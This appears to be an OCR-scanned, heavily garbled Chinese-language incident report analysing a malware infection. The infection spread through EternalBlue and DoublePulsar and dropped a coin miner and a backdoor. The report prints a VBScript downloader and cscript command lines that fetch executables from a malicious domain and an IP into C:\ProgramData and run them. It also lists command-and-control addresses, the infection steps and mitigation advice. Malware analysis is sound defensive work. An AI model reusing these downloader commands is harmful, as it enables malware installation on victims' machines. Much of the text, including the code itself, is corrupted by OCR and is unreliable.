on error resume next
with wacript:if .arguments.count<? then .quit:end if

get azo=.createobject("adodb.gtrean”)get web=createohject("nicrozoft.xmlhttp™)
web.open "get", cargumentz(0),0:veb,gend:if web.ztatng=200 then quit
ago.type=liazo.open:azo.write web.responzebodyiazo.gavetofile .arguments(1),2:end with

m

- 8% cmd.exe (884)
*’cscript.exe (2044)
g% cmd.exe (2976)
- §3% cmd.exe (664)
& cscriptexe (112)

C:\Windows\system32\cmd.exe
C:\Windows\system32\cscript.exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cscript.exe

cmd /c cscript c)\ProgramData\vbs.vbs http://fuckyoupassword.top:20190/spread.exe C:\ProgramData\VNC.EXE
cscript c\ProgramData\vbs.vbs http://fuckyoupassword.top:20190/spread.exe C:\ProgramData\VNC.EXE

cmd /c C:\ProgramData\VNC.EXE

cmd /c cscript c!\ProgramData\vbs.vbs http://47.106.217.147/services.exe C:\ProgramData\services.exe
cscript c\ProgramData\vbs.vbs http://47.106.217.147 /services.exe C:\ProgramData\services.exe

12.

~ B % f# {7 svchosa.exe {4 » #78 e E &,

2y

A2l | e &> H P VNC.exe

g% < #_0KB - @ Virustotal ¥ i8] 5 0/58 » mi2%&p 2 2 F 2837

f f R P5 3 T svchosa.exe ¢ A 4 T it eiaph Hos 44

h34 7 7 §* http://fuckyoupassword.top:20190/spread.exe » i

> 3% 1§ vbs.vbs
4

spread.exe T §t

I 44515 % = c:\ProgramData\VNC.EXE -

ERLASHE [ fTatl e e | ER AR H | Virustotal
Oysks.exe C:\$aywke\ 155 2 # | A4 31/70
S.exe C:\ProgramData\ | 155 i % AR
?ﬁtiﬂd‘f v A
R T AR R
Svchostlong.exe | C:\ProgramData\ | 155 i 4%
i EternalBlue 59/70
137 31 %
Serverlong.exe | C:\ProgramData\ | 155 i %
i DoublePulsar 60/70
137 1
VNC.exe C:\ProgramData\ | 137 & 0/58
J "B gsoke |
Bl A 2
Services.exe C:\ProgramData\ | 137 2 # | Downloader
CoinMiner 56/71
Backdoor
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ERAS L [ fThxl TR | ERARS A | Virustotal
Vbs.vbs C:\ProgramData\ | 137 i # | VBS 6/56
Downloader
Fgols.exe C:\ProgramData\ | 137 i # | £ #h 425" 19/69
ZREARFRITRLE
B EIP:47.104.110.131:8090
1 EIP:47.106.217.147:80
Step 3 EKPEIP E IR RE A R
s Step 4 port scan
’ 445port)

Step 1 it EE ML -
THESEL

(D)#1Tipconfig.exeiEBRDNSHREY
| (2)5&H 53R ipconfig.exe

| (3)#11Toysks.exeiETIZHRE

I (4)#1Ttaskkill.exe#E R oysks.exe
I (5)#117S.exe

Step 5 ERTIET
121

#rAN3K1P:139.99.72.56:80 H7ZIP:103.101.30.10:80

lEER e 2ETRELRS
2.#4 {7 svchosa.exe e
(1)#4 = ipconfig.exe 5%“,% DNS -~ o
(2)32 #1.% & ipconfig.exe °
(3)34 7 oysks.exe &£ {7 T ©
(4)34 = taskkill.exe & & oysks.exe °
(5)34 7 S.exe o
(6)34 = Ping.exe #& & TCP/IP -
(7)#4“,% S.exe o
(8)#4 i= Svchostlong.exe °

(9)#4 i= serverlong.exe -

10

(6)311TPing.exeRETCP/IP |
(7)MIBRS.exe l
(8)#117Svchostlong.exe |
(9)#17serverlong.exe |
(10)#n1Ttaskkill.exe#ERoysks.exe |
(11)MBRC:\programData\*.txt |

S P N ——-~

Step 7 ms-sql & R EER

thEIP:60.2.77.229:1433
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(10)#¢ i~ taskkill.exe % & oysks.exe °
(A2)# 1 l&% C:\programData\*.txt -
3.1 5 ¢ K IP:47.104.110.131:8090 -
443 % 5 ppa o & 44838 /7 139port £2 445 port < Port Scan 1% ¥ -
5. A F74e 4 1P:139.99.72.56:80 ¥7 p 4 1P:103.101.30.10:80 & B % & 742 7 (T
6.:8 s ¢ K IP:47.106.217.147:80 1 SMB445.exe £ Services.exe °
[.ig ¢ B 1P:60.2.77.229:1433 % i& {7 ms-sql 7L B i 4 o

o + X B sk 4L
A E2 “:in;’E’ ,&‘—;
. Ao L2 8358524 svchosa.exe g 4% & 3 #15 » 353
g€ * 2 MEZL & (NSA) 3 h¥ 2 sz¥ 1 B EternalBlue(Svchostlong.exe)

¥ DoublePulsar (Serverlong.exe) % sz # % & ® . 2 5 SMB A F (i 0

2. Svchosaexe ¢ &% % A2 CME= - B3 F AN EFKTHR 4

EERFB oA RETHEAG BB K LT EF LT AT

3. TR X A0A s €N T &R o VBScripts kT P E R AR 0 £
HEFER N IARS o
4, WA ABEZER F TSRS RE RIE ST
(1) 4 Windows % %L SMB JRF%iFiF
(2) #-z% & & * krc# hport 4f i > 4 445 port -
(B PERFFCH P RN ~ B2 A% o
(4) e i7 A pA B L ATIE o

(5) %M it i7 h sk d v

11



